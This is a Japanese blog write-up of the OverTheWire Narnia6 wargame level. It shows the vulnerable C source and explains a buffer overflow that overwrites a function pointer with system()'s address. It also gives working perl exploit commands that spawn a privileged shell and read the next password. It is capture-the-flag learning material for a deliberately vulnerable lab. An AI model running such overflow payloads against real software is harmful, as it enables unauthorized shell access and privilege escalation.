OverTheWire:Narnia6

narnia6 で ssh 接続。
ssh narnia6@narnia.labs.overthewire.org -p 2226

全9ステージのnarnia もやっと後半戦。問題はだんだん難しく(?)なってきているが、ソースコードをじっと眺めて、色々試してみるとだんだんと攻略方法が見えてくるのが面白い。

今回のお題(narnia6.c )はこちら。
引数のb1 に指定された文字列を pus() で表示するだけの単純なプログラム。

extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
      __asm__("movl %esp,%eax\n\t"
              "and $0xff000000, %eax"
              );
}
int main(int argc, char *argv[]){
	char b1[8], b2[8];
	int  (*fp)(char *)=(int(*)(char *))&puts, i;
	if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
	/* clear environ */
	for(i=0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));
	/* clear argz    */
	for(i=3; argv[i] != NULL; i++)
		memset(argv[i], '\0', strlen(argv[i]));
	strcpy(b1,argv[1]);
	strcpy(b2,argv[2]);
	//if(((unsigned long)fp & 0xff000000) == 0xff000000)
	if(((unsigned long)fp & 0xff000000) == get_sp())
		exit(-1);
	setreuid(geteuid(),geteuid());
   fp(b1);
	exit(1);
}

引数の b1,  b2 にはバッファオーバーフローの脆弱性があるが、プログラム中で環境変数をクリアする処理が行われているので、環境変数にシェルコードを書いてジャンプする、という方法は使えない。

では、以前のステージ( narnia4 )と同様に、スタックにシェルコードを注入して、そこへジャンプする方法は使えるだろうか?
実行ファイルをチェックしてみる。

画像1

だめだ! NX enabled になっている。
スタックのデータは実行禁止になっているので、スタックにシェルコードを注入しても実行することはできない。

ではどうすれば…。
ソースをもう1度眺めてみると、ふと気が付いた。

char b1[8], b2[8];
	int  (*fp)(char *)=(int(*)(char *))&puts, i;

 puts() がわざわざ関数ポインタで定義されているのは何故だろう?
それにこの位置で定義すると、b1, b2 のオーバーフローで 関数ポインタまで上書きされてしまう。。

また、よく見てみるとこのプログラムの最後で b1 を puts で表示するために、以下のような記述がある。

	setreuid(geteuid(),geteuid());
   fp(b1);
	exit(1);

つまり、関数ポインタ fp を system() を指すように書き換え、引数 b1 には  "/bin/sh" という文字列を渡すことができれば、fp(b1) は system("/bin/sh")になるので、シェルの起動が可能になる、ということ。

まずは、b2 をオーバーフローさせて関数ポインタ fp を書き換えられるか調べてみよう。デバッガを起動して、b1 に '/bin/sh'を、b2 に "B"を沢山入力してどうなるか見てみる。

画像2

 0x42424242 にジャンプしようとしてエラーになった。"B"は 0x42 なので、b2 をオーバーフローさせることで fp を変更できることが判った。

次に system() のアドレスを調べてみる。
これもデバッガで簡単に判る。

画像3

system() のアドレスは 0xf7e4c850 であることが判った。

これで準備完了。いよいよ今回のお題のプログラムを攻撃してみる。
コマンドはこんな感じか。

/narnia/narnia6 '/bin/sh' $(perl -e 'print "A"x16 . "\x50\xc8\xe4\xf7" ') 

画像4

ありゃ? b2 の9桁目以後を /bin/sh で実行しようとしたようだ。
ならば b2 の9桁目以後を '/bin/sh;' にしてしまおう。修正後のコマンドは以下の通り。

/narnia/narnia6 '/bin/sh' $(perl -e 'print "A"x8 . "/bin/sh;" . "\x50\xc8\xe4\xf7" ') 

画像5

今度は無事にシェルが起動した。権限は narnia7 。
これでパスワードが読める。

画像6

というわけで、次のステージ(narunia8)へ。。

この記事が気に入ったらサポートをしてみませんか?